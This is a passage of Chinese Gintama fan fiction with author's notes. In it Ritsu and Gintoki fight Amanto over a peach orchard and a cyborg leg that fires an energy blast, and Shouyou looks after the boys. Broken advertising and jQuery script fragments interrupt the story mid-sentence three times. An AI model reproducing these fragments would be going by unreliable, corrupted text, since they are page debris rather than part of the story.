本来律踮着脚在人堆里兴致勃勃地看银时高杉二人打架,但没一会他就对单纯的刀剑比拼失去了兴趣,蛄蛹蛄蛹地在里室内自娱自乐,很块,他的目光就被桂放在身旁的绿色布包裹吸引。 “好香的味道。” 律闭着眼四下嗅了嗅,闻着味,从外室一路蠕动到里室。 他戳戳桂的肩膀。 桂:“松阳先生,您所谓……” 再戳戳。 桂:“原来是这样么……” 律指了指旁边的包裹,用眼神询问是否可以打开。 桂像是感知不到外界的动静,捏着下巴陷入沉思,而另一只手随意地摸了摸律蓬蓬的头发。 ……好软……手感不错…… 见桂没有反应,律眼巴巴地扭头看向松阳。 松阳笑吟吟地注 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 视着桂圆圆的发旋,眼神温柔似春水。 好吧…… 律撇撇嘴,最终被好奇心驱使,决定遵从本能,窸窸窣窣地拆开了包裹。 洗得发白的绿色帕子里包着两个形状完美的饭团,米粒饱满,海苔酥脆,还散发着热腾腾的蒸气。 律的目光如炬,他不由自主咽了下口水。 看起来很好吃…… 律像是被魔鬼蛊惑般伸出罪恶的狗爪,指甲距离美食仅一厘米之隔的时候,律一个激灵清醒过来。 不行不行…… 律用力甩甩脑袋,低声呜咽呜咽。 自从律同学仍带着以前那套弱肉强食的思维抢了一位同学的食物,被松阳锤到地里并要求罚抄名字后,松阳就用行动亲身实际告诉他,赤鬼律不再是为了生存必须变得强大来保护自己的野兽,他不需要再用野兽的那一套准则来约束自己。 律从回忆中抽出思维,想到松阳那带有威摄力的拳头,顿时就怂了,只能盯着饭团望眼欲穿,诱人的香气直抵鼻尖,让一向没有什么自控力的他口水直流。 桂回过神来,有点好笑地看着这一幕。 他哑然,随后温和地说道:“你要尝尝我捏的饭团吗?” 饥渴已久的律疯狂点头,哈哧哈哧地嚼着香喷喷热腾腾的饭团,露出了幸福的表情。 松阳知道让律克制住自己的本能反应有多么不容易,他心下一软,轻轻地抚摸上他的头发,鼓励道:“很棒呢,律。” “嗯嗯!” * “真是的,我可从没听说过还有到私塾踢馆的,只受了这点伤,真是太好了。” 温和的嗓音有如实质般唤醒高杉,他浑身疼痛地坐起来。 “我其实想和你打……” 高杉低垂着头,心中复杂的情绪翻涌。 我以为自己已经够强了,没想到被那种家伙…… 小高杉藏在被子下的拳头握紧,又别扭又不得不承认银时确实很强。 松阳把手拢到袖子里,被高杉不服气的小表情逗笑了,他温和地安慰受伤的少年: “你已经很强了哦,踢馆的同学。” “银时……他,有不得不变强的理由。 那两个孩子,都是一样的啊。” 松阳站起身,面朝着庭外空阔的天空。 它似一块深邃宁静的蓝宝石,无垠绵延,广袤而浩瀚,令人沉醉在这无限的宁静中。 高杉下意识注视松阳目光所及之处,喃喃问道:“你教那些连字也认不得的小鬼,是打算把他们培养成武士吗?” 松阳唇角含笑,“谁知道呢,他们将来会成为怎样的武士,我也没有答案。” 他的眼里倒映着旷野,如同一片明净的湖泊,里面蕴藏着什么东西,彼时的高杉并不理解。 清风定格了那一瞬间,很多年以后,他每每回忆起这段往事,思绪大抵像喝醉一样恍惚,很多事情都不大鲜明了,而那含着笑意的话语却清晰地传入他的耳中。 “所谓武士道,就是严于律己,奋发图强的决心,遵循自己的美学不断进步的志向。” “所以,努力学习,想让自己变得更好的他们,想变得更强,跑到私塾来踢馆的你,对我来说,你们都是真正的武士。” “就算没有明确的出身和来历,就算没有要保护的主君,也没有用来战斗的刀剑,也能胸怀只属于你们的武士道,成为你们自己心目中的武士。” —————— 松阳三三真的是白月光啊呜呜呜X﹏X 5. 谐音梗这种东西就像吃拉面黏在碗里的鱼板一样多余 “所以说……为什么你会搞成这个样子啊?!” 此时的银时内心一阵崩溃,他抓狂地想:仅仅是摘个桃子这么简单的任务,为什么会整出这么多幺蛾子啊?他的计划到底哪里出了纰漏?! 二人灰头土脸地躲在高高的小树丛里,借着荫蔽的乔木遮挡敌人的视线线。头上插着树枝的律无辜地摇了摇头,眼神里透着清澈的愚蠢。 “你为什么还拿着那个怪东西啦!” 银时低声指责道:“就是因为这个我们才会搞成现在这个样子。” 律严肃地摇了摇头,把手上的断腿(?)藏到身后。 “も も!(桃子)!” 银时深深地叹了口气,仿佛所有的无奈都汇聚于此,他望着律一本正经的表情,露出一丝苦涩的笑,眉眼道尽了苍桑。 “是も も(桃子),不是も も(腿)啊你这魂淡!几个月学的东西被你拌着糖分吃掉了吗?!岂可修啊,你的智商是松阳买酱油送的吧!” 银时气得跺脚,表情扭曲,太阳穴凸凸地跳,牙齿咬得咯咯作响。 “看来松阳还是对你太温柔了哈……罚抄几遍什么的看来并不能让你长出拥有正常人类智商的脑子。” 律瘪着嘴巴,像霜打的茄子蔫蔫的,委屈巴巴地反驳道: “腿……没错,他们,抢,桃子。” 银时鼓着的气顿时就像一个被戳破的气球一样瘪了下来。 “律,你说的我大概能理解,但问题是……” 银时的目光转向被遗忘的“腿”:小麦色富有弹性的腿部肌肉,断面内嵌了银色金属,隆起的肌肉看起来很结实。 “这玩意怎么看都不是正常人的腿吧!” * 事情还要从几个小时前说起。 松阳答应了西村婆婆今天去帮她采摘桃子。婆婆年事已高,腿脚又不好,仅有的几个儿子全部被征去当了兵,她一个人住在偏远的小山坡上,性格又有些孤僻,不喜欢热闹,脾气也犟得很,村长一直劝说不动她下山来住好有人能照料她。 虽然西村婆婆脾气很怪,但她很喜欢小孩子,听说松阳在村里开私塾,让穷孩子有学上,平日里就经常下山来看看孩子们,带一篮子自己侍弄的蔬菜水果给松阳。 考虑到西村婆婆年纪大,山路又崎岖蜿蜒,每当下雨的时候,水滴就顺着深沟险壑流到小径上,整个小路泥泞湿滑。于是松阳极力劝说婆婆为了安全着想尽早下山。 许是松阳天生带着一种令人信服的魅力,犟头犟脑的西村婆婆终于被说服下山,在私塾旁边的一间小草堂住下。兴许是婆婆知道松阳一个人拉扯着这多孩子很艰难(?)再加上他糟糕的厨艺令她叹为观止,婆婆常往私塾送些饭菜,银时他们受西村婆婆照顾良多。 今天更是应西村婆婆的请求,去山上摘她种的树上成熟的桃子。而松阳不巧有事外出,于是摘桃子的重担就落在了银时和律的身上。 “哎,哎,婆婆说今年是最后一次打理桃树了,以后都吃不到那么清脆可口的桃子啦。” 银时带着律信步在高高树影遮蔽下的山路,满脸写着遗憾。 “桃子!桃子!” 律雄纠纠气昂昂地踏步,目光坚毅得仿佛走在硝烟弥漫的战场上。 光是听到名字就要流口水了,鲜美多汁的桃子、清甜可口的桃子…… “吸溜。” 银时脑海中灵感一闪,右手握拳敲了一下左手掌心,一个绝妙的主意在脑海中形成。 “咳咳,律,我跟你商量个事。” 银时一脸坏笑,他凑近律的耳朵说:“我们做个交易吧,你去山上摘桃子,我在这里等你,回去后我把我的那份桃子给你如何?” 律神情茫然了片刻,掰着手指头思忖。 按惯例,银时和律每人会拿到一个桃子,松阳两个,其他小朋友一人一个,剩下的西村婆婆会分给村长、屠夫大叔等平日经常照顾她的人。 律每次都三下五除二几口就把他那份桃子吃完了,就眼巴巴地馋银时那份,他打心里觉得一个桃子根本不够塞牙缝的嘛! 在心里算好得失,律煞有其事地点了点头,答应了和银时的“交易” 银时靠在树上,目送他离开后,抬手挡住上扬的嘴角,内心窃喜,暗想:这小子果然是个呆的,结了那么多果子,偷偷吃掉一两个回去也不会被发现,总有收成不好或者被虫子吃掉那种事情发生嘛。 于是银时找了棵看起来睡得舒服的大树,心安理得地偷起懒来。 另一边。 律欢快地哼起了奇怪的调子,一想到自己能吃到比平常多一倍的桃子,他就忍不住笑得露出尖尖的犬牙。 虽然穿越到了个奇怪的地方,这里人说的话也很难懂,但红发少年的快乐一直很单纯,有个温暖的窝,可以吃饱饭,吃好吃的桃子,似乎就让他的快乐阈值总是满满当当的,当然要是松阳不要经常让他抄写五十音图就更好啦。 “小心点……搬到这……腿……”一些隐晦细碎的声音飘进律敏锐的耳朵,他霎时警惕起来,大脑自动辩别关键词。 “も も(桃子)” “!” 律顿时露出狗子般的警觉,有人要抢我桃子! 他狗狗祟祟地躲到一棵大树后面,观察对方情况。 面前是一片桃子林,桃子圆润饱满,披上诱人的绯红外衣,空气中弥漫桃子成熟的靡烂馥郁的香甜,每一口都是对味蕾的极大满足。 而有两个个不合时宜的天人闯进这片天堂,他们长得奇形怪状,灰蓝色的皮肤,额头长着触角,只有一只眼睛,正在小心翼翼地搬运一个笨重的实木箱子。 天人们把物件搬到一处较阴凉的地方,箱子结结实实地砸在地上,扬起一些尘土。 “小心点!这可是大人点明要的大件货,砸坏了你赔得起吗?” 为首的长着触角的天人低喝道。 “对…对不起,我以为这玩意蛮结实的……”被训斥的那个天人满脸赔着笑,又按耐不住好奇心,心有余悸地问道: “您说,咱生产这些部件也不是一天两天了,每次都是大批大批地运,怎么今儿个就派我们单独运送这么一个呢?” 领头的天人恶狠狠地瞪了一眼,似乎在训斥他不要多嘴,那人缩了缩脖子,讪讪笑。 领头四下警惕地观察了一番,律连忙捂着嘴缩到大树背后,屏住呼吸。 他向那个发问的人招了招手,一手掩着侧脸,一边低声说道: “我也是从大人那里听到了一点儿,你可别乱说啊。” 另一个天人忙不迭地小幅度点头。 见状,律紧紧地趴在树上,双耳集中精神努力偷听。 “听说啊,这玩意可不是那些废铜烂铁可比的,里面加了一种叫‘阿尔塔纳结晶’的东西,威力巨大无比,大人透露给我一点消息,‘上面’正在秘密地制造一个叫‘宇宙剑圣’的改造人……叫我们俩运送也是为了掩人耳目。” 律被一大堆名词绕晕了,什么阿尔塔纳、改造人,一整个宇宙猫猫升华的表情。 领头说完拍了拍小弟的肩膀,清咳一声故作严肃地说:“咳,上面的心思也不是我们这种小人物能随意揣测,我们的任务就是把东西运到指定的地点,休息好了就赶紧出发。” 小弟谄媚地应到,摘了个又大又饱满的桃子呈给领头:“老大,您尝尝,这是一种叫‘桃子’的地球水果,味道独特,汁水饱满,特别好吃。” 领导满意地接受小弟的供奉,毫不客气地接过桃子大口咀嚼。 听到果肉被咬碎发出的的清脆声音,律脑中的弦一绷,猛然想起来此的目地,顿时瞋目裂眦,心头火冲天而起。 大胆小贼,居然敢偷吃我的蟠桃! 眼前的一幕深深刺痛了律的双眼,他怒不可遏,右手用力撑在树干,双脚借力一蹬,就以人类不能完成的动作腾空而起,五指成爪,从半空中劈头盖脸地俯冲下来。 “敌袭!”领头脸色剧变,朝后怒喝一声,提醒小弟掏出家伙。 小弟慌慌张张地掏出了武器,是一柄激光剑,剑柄滋滋作响,冒着森森寒气。 律注意到他从未见过的武器,不敢掉已轻心,虽然对方只有两个人,但敏锐的直觉告诉他对方并不好惹。 他急遽扭转身躯,硬生生改变了冲向对方面门的轨迹,一个回旋单腿横扫,重重地砸在对方的手臂上。 天人猛地一震,面色一瞬间地扭曲,但很快,天人强撼的恢复力让他压下了手臂发麻的感觉,立刻轮动另一只手臂,五指成拳,又快又狠地向律的面 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 门砸去。 拳风凌厉,呼呼作响,奈何律也不是吃素的,他的身体本就异于人类,敏捷性、弹跳性甚至超过一般的动物型天人,再加上律从小就在成千上万觊觎他半妖之血肉的妖怪中厮杀并幸存下来,他自然拥有着大量丰富的“杀人”技巧。 天人的反击激发了隐藏在和平日常中的血性,律低吼一声,指甲疯狂生长,变得又尖又利,耳朵也变长变尖,琥珀色的眼瞳里光芒大盛,妖冶至极。 他低声怒吼一声,五指成掌,硬生生扛下天人来势汹凶的拳头。 “诶?!” 天人小弟愣了一下,心中却翻涌惊涛骇浪:这……这还是人类吗? 就在天人小弟发愣的瞬间,领头已经悄悄端着枪靠近这边,律余光瞥见准备偷袭的领头,冷笑一声,假装没看见的样子,五指成爪犹如烙铁般狠狠焊在天人小弟的胳膊上,他单手使力,五指关节紧抓,腰腹一沉就硬生生把惊恐的天人小弟抡起来一个回旋甩出去,精准砸到领头的身上,二人眼冒金花,晕乎乎地倒地不起。 律拍拍手掌,检察了一下天人的情况,发现他们确实短时间内失去行动能力后,犹豫了一会,没有再补刀,仅仅是把两个晕过去的天人搁置在一旁,就摘他的桃子去了。 律兜了一衣服的大桃子回来,心满意足,下意识掏出折叠得整齐的大布袋,却掏了个空。 “诶?” 律震惊得像截木头似的楞愣地杵在那儿。 临行前松阳还嘱咐他们记得带装桃子的物化,他嫌篮子太大碍事,于是就把布袋折成一个方块带走,现在想想看…… 走过来的路上他的袖子好像被树枝勾了一下,什么东西滑到了地上,奈何当时的他太过兴奋,没有注意到这点动静。 律环顾四周,眼尖地看到一个笨重的大箱子杵在那儿,顿时兴奋得像看到肉骨头的狗狗,眼里迸发出欣喜若狂的光芒。 律轻轻松松地抱起了半人高的箱子,用力晃了晃,里面传来物体碰撞箱壁而发出的“眶哐哐”声。 他把箱子整个掀过来,一个肉色的物体就啪嗒一下掉在地上,扬起细碎的灰尘。 律把桃子轻轻地装进箱子里后才回过头来看箱子里掉出来的东西。 那是一个做得逼真的右腿,皮肤紧致,肌肉虬结,摸上去能感觉到温热,似乎手掌低下的血管仍在跳动。如果不是平滑的断面和嵌在里面的金属暴露了它是一个机械腿的事实,那画面也太惊悚了。 律单手拿起它掂了掂,唔,有点份量。 就在他思考箱子里为什么会出现一只腿的片刻,抓在手心里的腿突然“动”了一下,皮肤好似溶解一般变成一滩史莱姆黏在他的手上,从创面突刺出几条小蛇般青青红红的电线,灵活地扭动顺着律的手臂攀爬并紧紧缠绕住。 “?!” “啊?!” 律大惊失色,被“腿”突如其来的一顿操作搞懵了,他的头猛地后仰,瞳孔地震,仿佛被吓得不轻。 他呆在原地,理智逐渐回笼,顿时很用力地甩了甩自己的右臂,企图把这个奇怪的东西甩下来。 奈何“腿”牵牵地攀在右臂上,纹丝不动。 他现在的姿势很奇怪,掌心附着在机械腿小腿处,而它的大腿肌肉紧贴着肘部,就好像反手扣住了腿一样,走在路上绝对回头率百分百。 律有些焦躁,他已经尝试了能想到的所有办法,甩不下来,电线也扯不断,用脚蹬着机械腿的脚掌试图脱下来也无计于事。 律的眉心慢慢皱起,眼底一团颓败,琥珀色的光芒似乎都黯淡了,他心里沉甸甸地想:我不会要一直带着这个腿了吧,那一定会被银时嘲笑一辈子的…… 对了! 想到银时平日里鬼点子多,他像是抓住了救命稻草般兴奋激动地亮起双眸。 银时比他聪明,他一定想得到办法的! 于是律丢下一箱的桃子,两个昏迷的天人,带着一条诡异的腿,欢快地下山去找银时了。 这就是事情的全部经过。 —————————————— 感觉在搞一些很奇怪的东西呢…… 银桑生日快乐呀,今天努力码了四千字嘿嘿嘿~ 宝子们能不能评论鸭,你们的评论是我最大的动力(深情) 6. 劣质的糖果 在律磕磕巴巴并配上丰富的表情,夸张的肢体动作,手舞足蹈地把事情经历讲完后,银时一时间不知道该吐槽律倒霉的体质还是震惊律明显易于常人的武力值。 律充满希冀的眼神投向陷入某种震惊状态的银时,他又紧张又兴奋地低声问道:“银时,怎么办?” “啊啊啊,就算你问我阿银也没有办法啦……” 少年的眼神倏地黯淡下来,唇角微微下垂,仿佛一瞬间世上所有美好的梦想都破灭了。 银时瞥了一眼低着头的律,略有些烦躁地挠了挠头。 “首先我们要躲过天人的追查吧,找机会把他们捆起来再问问。” “真是的,你这家伙可真会给我添麻烦。” * 四周是密密麻麻的树木,树冠层叠如绿色的云海,空气中弥漫桃子清甜的香味,而阳光透过斜横的枝桠,洒落一片阴凉。 可是那两个天人却焦躁得如同热锅上的蚂蚁,急切地来回走动,搜寻每一处可疑的地方,额头渗出一层密密的汗。 “完……完蛋了!” “拿不回那个东西,大人绝对会发火,我们都……都死定了!” 脑海里抑制不住地浮现出可怕的幻想,天人小弟忍不住打了个寒颤,声音都有些变调。 “闭嘴!” 领头恨铁不成钢,怒视着表现懦弱的小弟。 “你个废物,连一个人类小鬼都搞不定,我族的脸都被你丢尽了!” “老大……那小子邪乎得很,我还是第一次看到长那么长獠牙的人类,这小鬼绝不简单!” 小弟呐呐地辩解道。 领头的天人深深地看了他一眼,沉声说:“现在说什么也没用了,当务之是找到那个红发的小鬼,拿回我们的东西。” 他的神色一派冷然,眼中寒光凛冽。 “虽然大人要求我们低调行事。但如果那小子不肯乖乖听话的话,就别怪我们使用‘那个’东西了。” 小弟诚惶诚恐地点头,眼中下意识浮现出惊惧。 另一边。 银时与律猫着腰躲在树丛里商量对策。 律自信地拍了拍胸脯表示,自己重创过他们,完全不带怕的。 银时敲了一下他的脑袋,压低声音道:“你忘了天人身上稀奇古怪的科技吗,之前能打晕他们有一部分原因是他们轻视你,现在天人们都绷着脖子高度警惕嘞,小心为上。” 律抱着脑袋,委屈巴巴地点头。 “我们等他们分开的时候再解决,我对付那个大的,听到没。” 然而粘在右手上的机械腿不偏不移,正巧一脚怼到了银时脸颊上。 “魂淡啊!你小子绝对在报复吧,啊?!” 银时满脸黑线地吐槽。 “难道这小子下山了……” 就在领头的天人摸着下巴思索的同时,背后响起一道懒洋洋的甚至有些欠揍的声音。 “喂,头上长着生殖器的家伙,吵吵嚷嚷地叫什么呢,发情期到了吗?” 银时左肩扛着刀,一手随意地搭在红色刀柄上,语调端的散漫,声音里夹杂着没睡醒的含糊,仿佛刚刚被天人们的动作吵醒。 领头嗤笑一声,傲慢地说:“拿着刀的小子,我劝你赶紧滚开,别打扰我们办事,否则,就别怪我不客气了。” “哦?”银时无聊地掏了掏耳朵,吹了吹小指上黑乎乎的东西,挑眉,视线轻飘飘地看过来。 “你们这些连武士也称不上的家伙,还真是有够可怜啊,一定是你头上脏兮兮的计数棒孕育出了这种悲哀的怪物。” “你!” 领头的天人勃然大怒,蓝色的脸上阴影密布看着愈发深沉,仅有的一只眼里充满血丝,眼球突兀爆起,看起来十分狰狞。 他桀桀笑道: “武士,就是一群在地上爬着给我擦鞋的窝囊废,小子,你妈没有教过你对大人说话要用敬语吗?” 说完,天人从怀里掏出激光剑,寒光乍响,金色的激光冒着滋滋滋的电流缓缓靠近银时。 银时突然笑了,他的眼神却是淡漠的,像一滩深不见底的寒潭,可是那冷漠中又裹挟着一丝浓郁化不开的杀意,嗜血而疯狂,只是静静地注视着天人,就仿佛被凶猛的猎物盯上,令人心惊胆颤。 一瞬间,天人感到身体紧绷,手臂僵硬,神经变得高度敏感,仿佛被无形的压力压得无法动弹。 骤然,银时身形一阵虚晃,天人的视野里一片银色的光芒闪过,银时霎时从眼前消失。 天人大感不妙,凭着与生俱来的直觉限限躲过银时从右侧直面腰际的突刺。勾手提挡,天人咬咬牙,一股巨力狠狠撞上银时的腹部。 银时身形一颤,马上反应过来,就地一个翻滚急促地避开当头袭来的激光剑。 银时死死地捂住腹部深深吸气,肚子火辣辣地疼每吸一口气都犹如钝刀割肉。这个天人与他曾经见过的都不一样,体格更健硕,力气也更大。 从正面无法硬抗,那只能使用些策略了。 银时怒喝一声,身法犹如鬼魅急速闪现在天人的视线死角,右脚一顿,身形委地,点着地板划出一道半圆,手里的长刀霸气凌厉,裹着呼啸的风声斩至天人虬结的跟腱肌肉。 霎时,血流如注,天人的怒吼中夹杂着痛苦。 “我要杀了你!” 愤怒冲昏了他的头脑,他面部狰狞,血脉爆起,密密麻麻地爬在光溜溜的蓝色脑袋上,像一条条青色的蛇。 天人的攻击明显失去了章法,身侧的草地,树木被他乱无目的的砍击变得凌乱不堪,银时一边灵活地躲闪一边嘲讽拉满。 “喂喂喂大块头,没用力吗这么窝囊,也是,你的剑也只配欺负一些花花草草咯。” 天人彻底怒了,嘶吼一声,顿时像牛一样气势汹汹地朝着银时的位置撞过来。 好机会。 银时看准时机,执刀在侧,委着身子俯冲过去,就在接触的一刹那,银时硬生生扭转手腕,毫不留情的一刀,角度刁钻,戾气十足,直接将天人的皮肤划开一道血口。 银时没有大意,在天人生理性地扑倒的瞬间,右脚借力腾空而起,刀起狂澜,凌厉的刀锋伴随着银时的怒吼,重重地砸下。 “轰——!” 天人庞大的身躯轰然倒地。 “可真是个大家伙……” 银时捂着腹部,冷汗直流,嘴角却扬起轻松的笑意。 “我的任务……完不成了……” 本以为昏过去的天人却颤颤巍巍地挣扎着爬起来。 “喂喂喂……不妙啊……” 银时的脸唰地一下白了,他现在一点力气也没了,手臂大腿酸痛得要命,胃部火烧火燎的疼,眼前一阵阵发黑。 天人悲愤欲绝,从怀里掏出一个漆黑的的球体,指尖捏得发白,目眦欲裂道:“都给我去死吧!” 说完,仿佛用尽了全身力气一般朝银时扔去,划出一道优美的抛物线。 炸弹滴滴滴滴急促地闪烁红光,银时却连躲开的力气也没有了。 “银时!” 凭空一声怒吼划破了凝滞的空气,灰头土脸的律从小树林里像一阵疾风跑向他。 银时从未觉得律的红毛像现在一样顺眼。 “等等……你手上端着什么?!” 银时脸色大变,可是来不及了。 一道刺眼的白光有如鸡蛋般大小的口径,像炮弹一样从机械腿的脚掌一个圆形的洞口中射出来,狠狠撞向即将爆炸的炸弹。 凝滞的空气突然间颤动起来,轰鸣声在耳边炸响,脚下的大地伴随着响声剧烈晃动,一时间,灰色的浓烟裹着强烈的气流把银时狠狠向外推去。 银时在地上翻滚了几圈,烧焦的树枝,飞扬的泥土,和湮灭成灰烬残余的树叶铺天盖地打在他的身上。 “咳咳……” 他觉得自己内里翻江倒海,每一寸肌肤都火燎火燎的刺痛,疼痛如刀刃般切割他的骨髓,他的眼前一阵阵发黑,如潮水般的黑暗淹没视野,耳边只有心脏剧烈跳动的鼓点声和尖锐的耳鸣。在最后失去意识前,他看到一头耀眼的红毛飞扬,向他奔跑而来。 * 好晕啊,头好痛…… 银时晃晃悠悠地从床上挣扎着爬起来。 “银时醒啦!” 一张大脸猛得怼到他眼前,琥珀色的眼睛眨巴眨巴,关切地问: “银时,痛不痛啊。” “废话……咳咳 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ……” 银时没好气地推开他,手臂却软绵绵的没有力气,动一下就仿佛针刺进肉里,又痒又疼。 “我昏过去后,怎么样了?” 律坐在银时床边,难得乖巧地回答: “那个东西,炸了,长角的两个家伙不见了,桃子也没有了……” “真是……这么念念不忘吗……” 银时嘟囔着抱怨两句,突然想到什么,问到:“你说那个诡异的东西也爆炸了?” “嗯。我的手也断了。” 律伸出右手,原本长长的袖兜硬生生短了半截,边缘可以很明显地看出被火烧过。 “不过松阳帮我接上去了!” 律挠挠头发,露出八颗牙齿,憨憨地笑起来。 “银时,太弱了。” “喂!”银时顿时像被踩了尾巴的猫一样炸毛,“明明是你的恢复力太匪夷所思了吧!阿银只是个还在长身体的孩子啊!还有,这些糟心事到底是谁惹出来的啊!” “居然会养出你这样的孩子,妈妈我真的好难过哦……” 听到银时和律吵吵闹闹的拌嘴声,松阳笑着端着一碗黑乎乎的东西进来。 “松阳,你端着什么……” 银时顿感不妙,身体下意识要跑。 “银时,这是西村婆婆给你熬的药,要乖乖喝完哦。” 松阳温柔地威胁道。 跟天人对打的时候银时都没有那么害怕过,松阳铁拳的威力仿佛隔着一层记忆仍然令脑袋隐隐作痛,银时战战兢兢地捏着鼻子喝光。 “好苦……” 苦涩的味道环绕在口腔,少年的五官整个皱起来,像刚从洗衣机里捞出来的衣服一样。 “给,只有一个了。” 律掏出什么东西来摊在银时面前。 带有薄薄的一层茧的手掌上静静地躺着一颗包着花里胡哨外衣的糖,糖果已经有点黏糊了,银时舔着外衣吃进去。 劣质的香精味很重,糖果腻腻的,夹杂着喉间残留的血腥味一股脑冲进味蕾。银时却吃得很满足,好像身上的痛苦都溶解在小小的糖果里。 “银时,律,你们做得没错。” 松阳温柔地揉了揉银时和律的脑袋,二人不约而同悄悄红了耳朵。 “你们阻止了天人们继续侵略地球的阴谋,真是可靠的小武士呀。” “不过。” 松阳笑眯眯地补充:“有时候保护好自己的生命也不代表着丢弃武士之心哦。” * 在夕阳西落的时刻,太阳的余晖把天空镀上一层金黄色的外衣,松阳清秀的脸庞隐入橘色和青蓝色交织的阴影,那汪灰绿色的浅滩在暮日跌落地平线的那一瞬间诡异地闪过红色的光。 “源外先生,有结果了吗?” 背着他捣鼓着一堆机械盔甲的平贺源外闻言回过头,那是一张年轻的脸,带着护目镜,下巴却有些潦草,胡子拉碴的。 “你是村头那个教书先生吧。你给我的那个东西是从哪来的?” 松阳微微笑着,未置一词。 “好吧好吧我不多问。” 平贺源外摆摆手,表情变得严肃,他认真的说:“凭我现在的技术还无法解析里面的具体内容,不过它蕴含的能量绝不是现在地球上的科技武器可以阻挡的,不,天人带来的东西也无法抵抗……” 源外摘下了眼镜,眯着眼睛仰视站在黑暗里的松阳,突然无奈的笑了。 “诶,我一向觉得世上总有那么多难以捉摸的事,何必庸人自扰,苦酒过喉,把烦恼抛在脑后才是聪明的活法。” “不愧是江湖第一机械师,源外先生通透的精神实在令在下敬佩。” 松阳温柔地说道。 “你们读书人说话就是不一样,都文绉绉的。呀,先生,我家三郎在私塾没有捣乱吧。” 灰发的青年嘴角轻扬,悄悄爬起来的月亮把朦胧的光辉洒落他绿色的眸子,宛如繁星点缀其间。 “三郎是个很可爱的孩子呢,跟源外先生很像,总喜欢捣鼓一些机械呢。” —————————— 在这里稍微改一下bug: 设定里是律比银时强一点点(原谅孩子还是半只狼) 7. 回忆杀什么的都是在赚读者眼泪啦 “我记得你是叫高杉吧,别赢了一次就得意忘形。” 银时把手搭在刀柄上。 “在你奇迹般地赢了我一次的这段时间里,我赢了你几次?” 高杉背对着银时,看不到他的表情,昏黄色暖橘色的光轻柔地扑撒在高杉的背上。 “你要是真想战胜我,想把输的次数赢回去……” 银时顿了顿,喉间耸动一下,背过身去,略有些不自在地说道: “明天你记得过来……” “嘿嘿嘿……” 躲在村塾墙角背后的律用浮夸的表情模仿着银时的口吻说:“明天你记得过来……” “哈哈哈哈……” 律一手拍着大腿一手死死捂住嘴巴,眼睛都激动得扭曲起来,仿佛看到什么天大好笑的场景,律的喉咙里发出咯咯咯的气音,从指缝中噗嗤噗嗤泄露。 同样躲在墙角偷看的桂不赞同地摇摇头,一本正经地说: “律,嘲笑一个人的真心不是武士所为,更何况那个人是终极傲娇鬼银时,能让他说出这样的话已经很不容易了……噗……咳咳……” 桂假装咳嗽,用拳头抵着唇角压下弯起的弧度。 松阳欣慰地感叹道:“看来银时也交到一个好朋友呢……” “哈哈哈哈哈……” 听到松阳如同老妈看到叛逆儿子浪子回头般感动又欣慰的语气,律彻底忍不住捂着肚子狂笑起来,笑的上气不接下气。 律想如果现在有什么东西可以把这幅画面定格下来的话,他一定会经常拿出来嘲讽银时的。 “喂……偷听墙角的三个家伙……” 银时阴气森森的声音伴随着他黑如锅底的表情猝不及防让弯着腰偷笑的律忍不住抖了抖。 松阳一脸很自然的表情。 “这是老师关心学生的方式哦。” “喂,松阳怎么你也跟着他们胡闹……” 银时顿时满脸黑线地吐槽。 * 自从机械腿事件在猛烈的爆炸中化为乌有后已经过去了半个月的时间,期间除了上山的樵夫在现场发现爆炸造成的巨大坑洞,惊慌失措地下山告诉村民后有一种奇怪的谣言四起,被当成像校园灵异事件那样的传闻以外,没有任何异样的事情发生。 消失的无影无踪的两个天人不知道是在爆炸中泯灭成灰烬还是幸存下来灰溜溜地回去,却没有任何关于天人,关于改造人的什么组织,什么传闻找上他们。 村子里一如既往的平静,西头的黄狗像往常一样吠着,散散落落的矮屋在太阳有疲倦下坠趋势的时候准时升起袅袅炊烟,村塾背后一面淡黄色的土墙脚下围绕肆意纵生的野草,经常被银时翻过去的动作踩得东倒西歪。 隔着一条细长的河流,水源断流的尽头是一片光秃秃的荒漠,再远一些的地方有几个凹凸不平的小山坡,那是天人或者人类难以辨驳的尸体堆砌出的尸山。干涸的红褐色的血深深渗入茫茫大地,把大地染成浓稠的夜色。有时候尸体多到堆不下,人就像一卷卷草席一样从山坡上滚下来,河水会带走尚未流尽的血液,就像一条红色的丝带。 银时有时候会觉得人类真是一种很奇妙的生物,在村子的另一头是交织死亡与绝望的乱葬岗,村子的另一头是单调平静到有些乏味的日子。他们在那一头拖着断手断脚,拽着滚出来的肠子也想活着,在另一头挥舞镰刀锄头,挥汗如雨地谋生。 他突然想到他还在乱葬岗的时候,一个双腿被炸飞的男人,血哗啦啦地从断腿里流,他用被磨得血肉模糊的双手缓慢挪动,一步,一步,呼吸沉重而吃力,才爬了一段路就得停下来,从胸腔里挤出“嘶嘶嘶”的呼吸声。 第二天银时看到他死在了那条小河的旁边,僵硬的脖子用力拗过来,眼睛直勾勾地看着河对岸的村庄。 * 律知道银时有段时间经常半夜偷偷溜出去,有时候是远远发现一个小小的背影从矮墙后面倏地消失不见,有时候是起夜的时候银时的被子里瘪瘪的,一摸,被窝已经一片冰凉。 不知道出于什么原因,律没有告诉松阳,他心里腾升一股隐秘的激动,就好像终于抓到银时把柄那般令人忍不住得意忘形。 终于有一天,律把偷偷翻出去一半的银时抓了个现形。 银时磨磨蹭蹭地跳下来,死鱼眼里透露着浓浓的倦怠和无奈,他若无其事地掏着耳朵,先发制人: “能睡的孩子才长得壮,大晚上不好好睡觉可不利于你矮小的身高发育哦。” “哼哼哼……”律叉着腰摆出一副得意的表情,“银时,我早就发现了,这已经是你不知道第几次偷偷溜出去了,要想不告诉松阳的话,就乖乖俯首称臣吧!” “啊啊啊……” 银时死鱼眼,有些无奈地吐槽:“你真是个笨蛋啊……” “距离上次那个爆炸才过去这么几天,你就能理所应当地忘记了,我真不知道该说你心态好还是忘性大……” “诶?” 犹如一盆凉水把心头的激动都浇灭了,律豆豆眼表情,眼神迷茫,好一会才反应过来。 “银时每天晚上跑出去其实……是为了保护我们?” 